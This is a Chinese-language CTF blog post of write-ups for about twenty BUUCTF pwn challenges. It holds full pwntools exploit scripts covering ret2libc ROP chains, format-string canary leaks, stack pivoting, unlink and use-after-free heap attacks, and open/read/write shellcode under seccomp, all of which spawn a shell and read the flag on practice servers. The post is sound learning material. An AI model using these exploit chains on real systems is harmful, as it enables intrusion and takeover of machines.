不可视境界线最后变动于:2023年3月25日 晚上
1.前六道题小结:(有点懒直接总结)
第一题测试nc命令
pwn1_sctf_2016: 一堆std::string啥的操作根本没看懂是什么 .
ciscn_n_1: 栈溢出覆盖浮点数过if语句, 直接到IDA View查看十六进制的数值就可以了
剩下的几题太简单了(回头来看的题都是这么简单!)
2. ciscn_2019_c_1
由于没有给出libc库以及libc库的版本, 所以git clone python的LibcSearcher库, 并且学习如何使用.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import * ret_addr = 0x4006b9 rdipop_addr = 0x400c83 c = 0 if c == 0 : p = remote('node4.buuoj.cn' , 28804 )else : p = process("./ciscn_2019_c_1" ) p.sendlineafter('ice!\n' , b'1' ) elf = ELF("./ciscn_2019_c_1" ) plt_addr = elf.plt['puts' ] got_addr = elf.got['puts' ] main_addr = elf.symbols['main' ] payload = b'b' *0x58 + p64(rdipop_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr) p.sendlineafter("pted\n" , payload) p.recvuntil('Ciphertext\n' ) p.recvline() addr = u64(p.recv(7 )[:-1 ].ljust(8 ,b'\x00' )) libc = LibcSearcher("puts" , addr) libc_base = addr - libc.dump("puts" ) sys_addr = libc_base + libc.dump("system" ) binsh_addr = libc_base + libc.dump("str_bin_sh" ) payload = b'd' *0x58 + p64(ret_addr) + p64(rdipop_addr) + p64(binsh_addr) + p64(sys_addr) p.sendlineafter("ice!\n" , b"1" ) p.sendlineafter("ted\n" , payload) p.interactive()
tips:
payload = b'b'*0x58 + p64(rdipop_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
GOT顾名思义它只是一张表, 第一次链接后存放着函数的起始地址, plt表中使用 jmp *GOT[4], 即GOT表元素的引用, 第三个p64不能改为got_addr!!!!!!!!!!!!!
from LibcSearcher import * obj = LibcSearcher("fgets" , 0X7ff39014bd90 ) obj.dump("system" ) obj.dump("str_bin_sh" ) obj.dump("__libc_start_main_ret" )
3. PWN5(普通的格式化字符串漏洞) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def fmtstr_payload (offset, writes, numbwritten=0 , write_size='byte' , write_size_max='long' , overflows=16 , strategy="small" , badbytes=frozenset ( ), offset_bytes=0 ): → str '''Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits ''' Parameters: offset (int ) – the first formatter’s offset you control writes (dict ) – dict with addr, value {addr: value, addr2: value2} numbwritten (int ) – number of byte already written by the printf function write_size (str ) – must be byte, short or int . Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n) overflows (int ) – how many extra overflows (at size sz) to tolerate to reduce the length of the format string strategy (str ) – either ‘fast’ or ‘small’ (‘small’ is default, ‘fast’ can be used if there are many writes) Returns: The payload in order to do needed writes
4. BabyRop[0] . 查看程序的保护机制
发现是got表不可写的32位程序 拖进ida查看伪代码
sub_80486BB是初始化缓存区的函数 发现buf是一个随机数
发现函数中存在strncmp比较函数,其中buf为用户输入的值,s为buf随机数,如果不相等则会退出程序,所以需要想办法绕过这个判断,所以v1的值必须为0 .
v1 = strlen(buf),strlen这个函数有个缺陷 :遇到\x00直接截断。所以我们要输入第一位数为\x00
buf被IDA识别为32位数组, 函数返回值是buf[7], 所以直接将buf[7]写成想要的数值即可
接下来来看最后一个函数
其中a1即为上文中的v5,假如a1等于127则会执行第一条语句,不会溢出,当a1大于0xE7时就会存在溢出,从而覆盖返回地址
解题思路:首先通过\x00来绕过判断,覆盖v5为\xff(使得v5尽可能的大),通过wirte函数来泄露write的内存地址,然后利用libc来计算system函数地址,最后利用溢出使得返回地址为system
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import * context.log_level = 'debug' p = remote("node4.buuoj.cn" ,28361 ) payload = b'\x00' + b'a' *6 + b'\xff' p.sendline(payload) payload = b'a' *(0xe7 +0x4 ) elf = ELF("./babyrop" , 0 ) got = elf.got["write" ] plt = elf.plt["write" ] main = 0x8048825 payload = payload + p32(plt) + p32(main) + p32(1 ) + p32(got) + p32(4 ) p.sendlineafter("ct\n" , payload) write_addr = u32(p.recv(4 )) libc = ELF("./libc-2.23.so" , 0 ) sys_libc = libc.symbols["system" ] write_libc = libc.symbols["write" ] binsh_libc = next (libc.search(b"/bin/sh" )) libc_base = write_addr - write_libc sys = libc_base + sys_libc binsh = libc_base + binsh_libc payload = b'\x00' + b'a' *6 + b'\xff' p.sendline(payload) payload = flat([b'a' *(0xe7 +0x4 ), sys, b'a' *4 , binsh]) p.sendlineafter("ct\n" , payload) p.interactive()
tips: .
sl=lambda x:io.sendline(x) sla=lambda x,y:io.sendlineafter(x,y) rl=lambda :io.recvline() ru=lambda x:io.recvuntil(x)
strlen()函数遇到’\0’就会停止!!!!!!
别忘了先是参数 后是sys的返回地址 .
pack(): Word-size, endianness and signedness is done according to context
所以, flat()中的wordsize就不用管了, 自动使用相应的pack()函数
pwnlib.util.packing.flat(*a, **kw) - flat(*args, preprocessor = None , length = None , filler = de_bruijn(), word_size = None , endianness = None , sign = None ) -> str
6.ciscn_2019_n_8
三种方法一应俱全[0] .
还是看别人的才做的出来, 不然谁会知道:
get_flag的返回地址不能乱写,打远程时,如果程序是异常退出了,最后是不给你回显的.
正常退出需要使用exit(), 所以将get_flag的返回地址写成exit的地址
如果正常退出, 你不加一个p.recv()接受字符, 仍然没有回显.
还有就是修改bss段的权限, 高级操作, 又得学一个函数**(还没学)**.
7.not_the_same
简单的栈溢出题目, 就不截图了, 和第六题是一样的, 需要注意exit正常退出程序后必须recv几个字符远程才会有输出
可以看到我做了一个万能头, 以后写exp只要复制修改一下就可以了, 还是挺方便的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *from LibcSearcher import * context.binary = './not_the_same_3dsctf_2016' context.log_level = 'debug' ss=lambda x:p.send(x) sl=lambda x:p.sendline(x) ru=lambda x:p.recvuntil(x) rl=lambda :p.recvline() ra=lambda :p.recv() rn=lambda x:p.recv(x) itt=lambda :p.interactive() sla=lambda x,y:p.sendlineafter(x,y) c = 0 if c == 0 : p = remote("node4.buuoj.cn" , 26867 )else : p = process("./not_the_same_3dsctf_2016" ) elf = ELF("./not_the_same_3dsctf_2016" , 0 ) exit = elf.symbols["exit" ] printf = elf.symbols["printf" ] get = elf.symbols["get_secret" ] buf = 0x80ECA2D payload = flat([b'b' *45 , get, printf, exit, buf]) sl(payload) ra()
8.bjdctf_2020_babystack
比较简单, 主要的问题是context的默认bit是32, 换成万能头的context.binary就没有问题了
9.ciscn_2019_ne_5 过程[0] .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import * context.binary = './ciscn_2019_ne_5' context.log_level = 'debug' ss=lambda x:p.send(x) sl=lambda x:p.sendline(x) ru=lambda x:p.recvuntil(x) rl=lambda :p.recvline() ra=lambda :p.recv() rn=lambda x:p.recv(x) sla=lambda x,y:p.sendlineafter(x,y) itt=lambda :p.interactive() c = 0 if c == 0 : p = remote("node4.buuoj.cn" , 28273 )else : p = process("./ciscn_2019_ne_5" ) elf = ELF(b"./ciscn_2019_ne_5" , 0 ) sh = next (elf.search(b"sh" )) sys = elf.symbols['system' ] payload = flat([b'b' *(0x48 +0x4 ), sys, b'b' *4 , sh]) sl(b'administrator' ) sl(b'1' ) sl(payload) sl(b'4' ) itt()
10. others_shellcode_ __asm { int 80 h; LINUX - sys_execve }
p.s. 关于__asm [0] .
之前刷题中用到的后门函数都是system(“/bin/sh”),这次出现了一个新的后门:**execve()**。
函数定义: **int execve(const char *filename, char const argv[ ], char const envp[ ]);
寄存器eax放execve的系统调用号11; 寄存器ebx放文件路径,即第一个参数; 寄存器ecx放第二个参数,是利用数组指针把内容传递给执行文件,并且需要以空指针(NULL)结束; 寄存器edx放最后一个参数,为传递给执行文件的新环境变量数组。
后两个参数一般为0
int 0x80:中断 执行系统调用函数execve()时,execve()通过int 0x80指令进入系统调用入口程序,并且把系统调用号11放入eax中,接着把参数放入ebx,ecx和edx中。如果没有/bin/sh字符串, 那么就先调用read函数读取”/bin/sh”, 尝试”sh”失败, 原因尚未知晓
11.2018_rop setresuid(); setresgid();
12.ciscn_s_3
checksec
main函数里面只有vuln, vuln函数里就是简单的sysread syswrite, 都是通过syscall以及系统调用号来执行的
gadgets函数:
最重要的两点
这两个函数都不以leave结尾 , 意味着函数结束后没有恢复到之前的栈帧, 进入函数时的ebp的位置即为返回地址, 所以IDA中栈分析是错误的, 真实栈结构还得看汇编代码
第一种办法: 看见了一个mov rax, 3B h retn, 代表着我们可以利用这两行代码为执行sys_execve做准备
第二种办法:SROP
下面先用第一种方法.
从反汇编代码中看出sys_read几乎无限长字节(0x400), sys_write30个单位, 有明显的栈溢出, 这里我们使用59号系统调用(64位), 构造
execve('/bin/sh',0,0)
但是程序中并未发现/bin/sh, 所以需要手动输入, 新问题是sys_read后我们的字符串 在什么地址上? 所以需要leak 出某一个有用的地址
gdb调试:
b vuln->run->continue-> aaaaaaaaa(测试输入)->发现栈的基地址
不得不说的就是这个栈的基地址 , 一般是main函数参数中argv[0]即文件的路径, gdb中会写成这个样子
0xffffd0ec —▸ 0xffffd204 —▸ 0xffffd3c4 ◂— '/root/Desktop/fm'
取第一次解引用的地址即为栈的基地址, 减去rsp得到0x118
栈的基地址长这样子, 有path的那条就是, 下面一大串的是环境变量envp
要注意的是, pop指令弹出的是栈上指针对应地址的数据, 平时栈溢出填充的很容易以为直接就是数据, 实际上在这种情况下应该写成一个地址, 指向payload中后面的参数, 如下sh+0x50指向mov_rax
详细注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * context.binary = './ciscn_s_3' context.log_level= 'debug' sl=lambda x:io.sendline(x) rn=lambda x:io.recv (x) io=remote('node4.buuoj.cn' , xxxxx) vuln=0x4004ed pop_rdi=0x4005a3 csu_end=0x40059a csu_front=0x400580 mov_rax=0x4004e2 syscall=0x400517 payload=p64(0 )*2 +p64(vuln) sl(payload) rn(0x20 ) binsh=u64(rn(8 ))-0x118 payload= b'/bin/sh\0' + p64(0 )+ p64(csu_end)+ p64(0 )*2 + p64(binsh+0x50 )+ p64(0 )*3 +p64(csu_front)+p64(pop_rdi)+p64(binsh)+ p64(mov_rax)+ p64(syscall) sl(payload) io.interactive()
附: SROP[CTF-WiKi] [writeup ]
简单说来SROP就是调用sigreturn函数改写所有寄存器的值, 然后再执行rip指向的地址
本题中流程为: 泄露栈基地址->构造frame = SigreturnFrame()->填满数组, mov调用号15, syscall地址, bytes(frame)
13.babyheap_0ctf_2017 看了老半天源代码和基础知识
估摸着我得过几天复习复习, 可不能忘记了
别人的详细的wp 看雪 不太详细
14.[Black Watch 入群题]PWN 又是一种没见过的方法, 名为栈转移 , 用于栈溢出不够, 以leave ret结尾, 有或能够向bss段写入数据的, 将rsp 转移到bss 段
leave = mov rsp, rbp pop rbp ret = pop rip
st=>parallel: 流程: opa1=>start: 填满栈上数组, 覆盖ebp为bss段某一地址 opa2=>start: 修改返回地址为leave&ret的gadget opb1=>start: 往bss写入4字节数据作为第二次 pop rbp opb2=>start: 如果未知sys,/bin/sh等地址 可用此次leak地址然后在下一次执行system函数 a=>parallel: 结束 st(path1, left)->opa1->opa2 st(path2, right)->opb1->opb2 opa2->a opb2->a
…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from LibcSearcher import * context.binary = './spwn' p = remote("node4.buuoj.cn" , 25611 ) elf = ELF("spwn" ) bss_s = 0x0804A300 leave_ret = 0x08048511 write_plt = elf.plt["write" ] write_got = elf.got["write" ] main_addr = elf.symbols["main" ] payload = "aaaa" + p32(write_plt) + p32(main_addr) payload += p32(1 ) + p32(write_got) + p32(4 ) p.sendafter("name?" , payload) payload = "a" * 0x18 payload += p32(bss_s) + p32(leave_ret) p.sendafter("say?" , payload) write_addr = u32(p.recv(4 )) libc = LibcSearcher("write" , write_addr) libc_base = write_addr - libc.dump("write" ) system_addr = libc_base + libc.dump("system" ) binsh_addr = libc_base + libc.dump("str_bin_sh" ) payload = "aaaa" + p32(system_addr) + p32(main_addr) payload += p32(binsh_addr) p.sendafter("name?" , payload) payload = "a" * 0x18 + p32(bss_s) + p32(leave_ret) p.sendafter("say?" , payload) p.interactive()
15.easyheap exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * elf=ELF("./easyheap" ) sh = remote("slkdfjsldkf" , 932487 ) free_got=elf.got['free' ] system_plt=elf.plt['system' ] context.binary = './easyheap' context.log_level='debug' ptr=0x6020e8 def add (size,content ): sh.recvuntil(b"Your choice :" ) sh.sendline(b'1' ) sh.recvuntil(b"Size of Heap : " ) sh.sendline(str (size).encode()) sh.recvuntil(b"Content of heap:" ) sh.send(content)def edit (idx, size, content ): sh.recvuntil(b"Your choice :" ) sh.sendline(b'2' ) sh.recvuntil(b"Index :" ) sh.sendline(str (idx).encode()) sh.recvuntil(b"Size of Heap : " ) sh.sendline(str (size).encode()) sh.recvuntil(b"Content of heap : " ) sh.send(content)def delete (idx ): sh.recvuntil(b"Your choice :" ) sh.sendline(b'3' ) sh.recvuntil(b"Index :" ) sh.sendline(str (idx).encode()) add(0x100 ,b'aaaa' ) add(0x20 ,b'bbbb' ) add(0x80 ,b'cccc' ) payload=p64(0 )+p64(0x21 )+p64(ptr-0x18 )+p64(ptr-0x10 ) payload+=p64(0x20 )+p64(0x90 ) edit(1 ,len (payload),payload) delete(2 ) payload=p64(0 )+p64(0 )+p64(free_got) payload+=p64(ptr-0x18 )+p64(ptr+0x10 )+b"/bin/sh\x00" edit(1 ,len (payload),payload) edit(0 ,8 ,p64(system_plt)) delete(2 ) sh.sendline("cat flag" ) sh.interactive()
最妙之处在于将free_got改为system_got, 然后又因为free和system都是指针类型, 只要伪造一个字符串指针就可以用free来执行system
主要步骤:
在chunk1的user date里造一个fake chunk header, 注意到chunk2的PREV_SIZE被修改为20, inuse_bit为0, 以及设置”空”chunk的fd和bk指针, 以避开FD->bk == BK->fd == victim的检查
这样释放chunk2之后unlink就会使用FD->bk = BK; BK->fd = FD;
后向合并, chunk1的user date变成另一个chunk, 并修改heaparray[1]为FD(ptr-0x18)
再次编辑chunk1, 由于heaparray[1]已经指向ptr-0x18, 所以填充两个64位0, 将[0]覆盖为free_got表的地址, [1]指向FD, [2]指向后8字节的”bin/sh”
编辑heaparray[0], 修改free_got的值为system_got
然后delete(2), 这时调用system_got, 参数是存储在该位置的指针, 值为binsh的地址, 成功执行
16.hacknote 比较简单的一道heap题, 主要是UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import * context.binary = './hacknote' context.log_level = 'debug' ss=lambda x:p.send(x) sl=lambda x:p.sendline(x) ru=lambda x:p.recvuntil(x) rl=lambda :p.recvline() ra=lambda :p.recv() rn=lambda x:p.recv(x) sla=lambda x,y:p.sendlineafter(x,y) itt=lambda :p.interactive() c = 0 if c == 0 : r = remote("node4.buuoj.cn" , 29324 )else : r = process("./hacknote" )def add (size,content ): r.sendlineafter('choice :' ,b'1' ) r.sendlineafter('Note size :' ,str (size).encode()) r.sendlineafter('Content :' ,content)def delete (idx ): r.sendlineafter('choice :' ,b'2' ) r.sendlineafter('Index :' ,str (idx).encode())def printf (idx ): r.sendlineafter('choice :' ,b'3' ) r.sendlineafter('Index :' ,str (idx).encode()) add(16 , b'aaaa' ) add(16 , b'bbbb' ) delete(1 ) delete(0 ) elf = ELF("./hacknote" ) mag = elf.sym["magic" ] add(12 , p32(mag)) printf(1 ) r.sendline("cat flag" ) r.interactive()
17.bjdctf_2020_babyrop2 这题是leak canary + return2libc, 这个值好像不会变呐, 我再去查查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher import * context.binary = './bjdctf_2020_babyrop2' context.log_level = 'debug' ss=lambda x:p.send(x) sl=lambda x:p.sendline(x) ru=lambda x:p.recvuntil(x) rl=lambda :p.recvline() ra=lambda :p.recv() rn=lambda x:p.recv(x) sla=lambda x,y:p.sendlineafter(x,y) itt=lambda :p.interactive() c = 0 if c == 0 : p = remote("node4.buuoj.cn" , 29934 )else : p = process("./bjdctf_2020_babyrop2" ) elf = ELF("./bjdctf_2020_babyrop2" ) puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] vuln = elf.sym['vuln' ] pop_rdi_ret = 0x400993 sla('u!\n' , '%7$p' ) canary = int (rn(18 ), 16 ) payload = b'b' *0x18 + p64(canary) + b'b' *8 payload += flat([pop_rdi_ret, puts_got, puts_plt, vuln]) sla('ry!\n' , payload) puts_addr = u64(rn(6 ).ljust(8 , b'\x00' )) log.info(hex (puts_addr)) libc = LibcSearcher("puts" , puts_addr) libcbase = puts_addr - libc.dump('puts' ) sys = libcbase + libc.dump('system' ) binsh = libcbase + libc.dump('str_bin_sh' ) payload = b'b' *0x18 + p64(canary) + b'b' *8 payload += flat([pop_rdi_ret, binsh, sys]) sl(payload) sl("cat flag" ) itt()
18.pwnable_orw 看上去像是很简单的shellcraft, 但是第一个函数就有点特别了:
seccomp()函数查看
使用seccomp-tools:
from pwn import * io = remote('node.buuoj.cn' ,25539 ) context.binary = './orw' shellcode = shellcraft.open ('/flag' ) shellcode += shellcraft.read('eax' ,'esp' ,100 ) shellcode += shellcraft.write(1 ,'esp' ,100 ) shellcode = asm(shellcode) sleep(0.2 ) io.sendline(shellcode) io.interactive()
新机制: seccomp
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
可以看到调用了一个新的函数prctl()
. 具体的LInux Man Page 和option使用的宏定义 在此
int prctl (int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) ;
对于第一个prctl()
, 38就是PR_SET_NO_NEW_PRIVS
, 因此可以查到作用是:
set the calling thread’s no_new_privs attribute to thevalue in arg2 . With no_new_privs set to 1, execve(2) promises not to grant privileges to do anything that couldnot have been done without the execve(2) call (for example,rendering the set-user-ID and set-group-ID modebits,and file capabilities non-functional). Once set,the no_new_privs attribute cannot be unset.
简单来说就是禁用execve()
函数以及使用到execve()
的其他函数
对于第二个prctl()
, 22就是PR_SET_SECCOMP
, 查到的作用是:
Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls.
With arg2 set to SECCOMP_MODE_STRICT (equals 1),the only systemcalls that the thread is permitted to make are read
(2),write
(2),_exit
(2)(but not exit_group(2)), and sigreturn
(2). Other system calls result in the deliveryof a SIGKILL
signal.
With arg2 set to SECCOMP_MODE_FILTER (equals 2)(since Linux 3.5),the system calls allowed are defined by a pointer to aBerkeley Packet Filter passed in arg3. This argument is apointer to struct sock_fprog ; it can be designed to filterarbitrary system calls and system call arguments.
如果选了SECCOMP_MODE_FILTER:
我们先解释一些原理, 一些示例网站在此 (seccomp1 ) (seccomp2 ) (BPF介绍 ) (BPF指令集 ):
struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; }; struct sock_fprog { unsigned short len; struct sock_filter *filter ; };
code变量涉及到了BPF这种技术, 而seccomp技术就是借鉴BPF的源码, 所以可以到BPF的指令集中找到这个变量的组合方式, 用一些神奇的手段把一些instructions编码进u16中.
jt和jf的意思较为明显, 就是jump if true||false
k装啥都行
每个系统调用都会陷入系统调用控制函数syscall_trace_enter中,该函数中调用了secure_computing,系统调用号作为参数传递。在__secure_computing函数中,通过current->seccomp.mode提取标志位mode,如果mode为1或者2,则说明当前进程已经设置了seccomp限制。如果是1(SECCOMP_MODE_STRICT )则就只允许四个系统调用, 如果是2(SECCOMP_MODE_FILTER )就如上面所示
效果: 就是自己设定每一条系统调用所对应的处理方法, 查询方式可以使用下面的工具, 自己设置可以小部分参考→这里 .
seccomp-tools 用法:(Github Page )
sudo gem install seccomp-tools nevv@ubuntu:~/Desktop/seccomp-tools-master/bin$ seccomp-tools dump ../../pwn1 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 # line11 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011 # 0011这个就是左边的标号 0004: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0011 0005: 0x15 0x05 0x00 0x00000101 if (A == openat) goto 0011 0006: 0x15 0x04 0x00 0x00000055 if (A == creat) goto 0011 0007: 0x15 0x03 0x00 0x0000009d if (A == prctl) goto 0011 0008: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0011 0009: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00051234 return ERRNO(4660) #有任何一个不允许的系统调用出现时就反回errornumber
19.babyfengshui_33c3_2016
在源代码分析 中的关键函数部分提到过从几个功能函数推断出存储的结构体, 这次我没注意到这个细节, 属实是hacknote这题直接源码看一遍草草了事, 一些细节给我忽略了.
善用gdb.attach()
, 说实话这样子看堆的结构是最为直观的, 但是我又大意了, 环境和服务器的不一样也不能直接用
还有一件事, 可以把一些自动生成的名称改一下, 这样子更好看源代码
这题认认真真的分析了一遍源代码, 又花了将近一天的时间, 我也不知道为啥会这么慢
首先从add函数中看出存数据的结构体是长这个样子的
struct user //总共user_data 区有0x80 字节{ char * description; char name[0x7c ]; }
而且先malloc description的size(用户输入)字节, 然后再malloc user的0x80字节 2. delete和display没有什么特别的, 稍微看一下就可以看出add中count变量(当然是自己改的名字) 3. 然后update有个很蠢的检验方法, 主要是他想着user和description是相邻的而且顺序也是一样的, 这样的话我们就可以使用没有tcache的glibc版本来绕过
if ( (char *)(v3 + *(_DWORD *)*(&ptr + a1)) >= (char *)*(&ptr + a1) - 4 )
先申请三个chunk, 第三个存”/bin/sh”
将free_got 地址覆盖在chunk 1的description指针上, 通过display函数打印出来
通过LibcSearcher找出sys_addr
改写chunk 1 的description内容为sys_addr, 实际上就是改写free_got为sys_addr
调用delete(1)即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 elf = ELF("babyfengshui_33c3_2016" ) free_got = elf.got["free" ] free_plt = elf.plt["free" ]def add (size,name,length,text ):def delete (index ):def display (index ):def update (index,length,text ): add(0x80 , "a1" , 0x80 , " " ) add(0x80 , "a2" , 0x80 , " " ) add(0x8 , "a3" , 0x8 , "/bin/sh\x00" ) delete(0 ) add(0x100 , "aa" , 0x19c , b'b' *0x198 +p32(free_got)) display(1 ) p.recvuntil("description: " ) free_addr = u32(p.recv(4 )) libc = LibcSearcher("free" , free_addr) base = free_addr - libc.dump("free" ) system_addr = base + libc.dump("system" ) update(1 , 0x8 , p32(system_addr)) delete(2 ) p.sendline("cat flag" ) p.interactive()
20.xdctf2015_pwn200 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 libc = ELF("libc-2.23.so" ) elf = ELF("bof" ) payload = b'b' *112 payload += flat([elf.plt['write' ], elf.sym['main' ], 1 , elf.got['write' ], 4 ]) ru(b'5~!\n' ) sl(payload) write_addr = u32(rn(4 )[:]) base = write_addr - libc.sym['write' ] sys_addr = base + libc.sym['system' ] binsh = base + next (libc.search(b'/bin/sh' )) payload = flat([b'b' *112 , sys_addr, elf.sym['main' ], binsh]) ru(b'5~!\n' ) sl(payload) sl(b'cat flag' ) itt()
21.inndy_rop 这题非常之直接, 静态链接+数组定义gets函数, 摆明了就是利用ROP
但是ROP比较长, 直接使用ROPgadget --binary rop --ropchain
让它自动生成exploit
复制粘贴, 然后完事了………
唯一要注意的就是自动生成的是python2的语法, 如果有什么str类型的数据要把他变成bytes
22.